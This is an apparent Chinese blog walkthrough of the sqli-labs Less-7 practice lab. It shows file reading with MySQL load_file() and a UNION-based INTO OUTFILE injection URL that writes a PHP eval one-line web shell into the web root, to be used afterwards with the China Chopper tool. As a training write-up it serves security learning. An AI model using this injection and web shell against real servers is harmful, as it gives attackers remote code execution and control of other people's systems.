zoukankan      html  css  js  c++  java
  • sqli lab less7

    Less7

    1.文件读写权限问题

    • show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开
    • C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv=“/”。

     

     

    重启服务再show  就显示了

     

       

    2一句话木马:php版本:<?php @eval($_POST[“crow”]);?> 其中crow是密码

    一句话木马大多配合中国菜刀使用,菜刀的使用可以参考:https://www.daixiaorui.com/read/17.html

    3. load_file()  读取本地文件  select load_file('C:\phpstudy\PHPTutorial\WWW\sqli\Less-7\test.txt’);

    4. into outfile 写文件                                       

    用法: select 'mysql is very good' into outfile 'test1.txt‘;

                                                                         文件位置: C:phpstudy\MySQLdata

    •   或者是select 'crow 666' into outfile 'C:\phpstudy\WWW\sqli\Less-7\test.txt’;
    •  
    • 文件位置: C:phpstudyWWWsqliLess-7
    • 注意事项: \

     

     

    有错误  证明存在注入

     

    之后我们用outfile将一句话木马写入文件,虽然依然显示报错,但是我们发现路径下已经存在了我们想要的文件

    http://192.168.50.100/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST[“crow”]);?>' into outfile "C:\phpstudy\PHPTutorial\WWW\sqli-labs\Less-7\test.php" --+

     

     

    使用中国菜刀链接

     

     

     

    使用中国菜刀访问即可

  • 相关阅读:
    多个装饰器装饰一个函数
    DRF 里面DestroyAPIView实例
    ERROR: Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-install-e7q1vcuk/mysqlclient/解决办法!
    python3 协程爬取两张妹子图
    python3 协程简单运用爬取两张妹子图
    gevent 简单运用
    D
    C
    B
    javascript cookie
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12228551.html
Copyright © 2011-2022 走看看